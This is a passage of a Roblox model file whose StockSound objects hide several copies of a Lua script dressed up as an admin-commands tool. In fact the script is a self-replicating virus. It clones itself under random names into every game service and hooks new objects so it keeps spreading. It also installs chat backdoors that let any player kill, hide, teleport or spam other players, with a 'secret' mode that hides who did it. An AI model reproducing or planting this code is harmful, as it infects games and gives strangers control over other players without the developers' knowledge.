plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX739">
						<Properties>
							<float name="Health">0</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX740">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">spdm3pgax</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX741">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">cdny3ffb</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX742">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">hywxtdtb</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX743">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">q80tyynnb</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
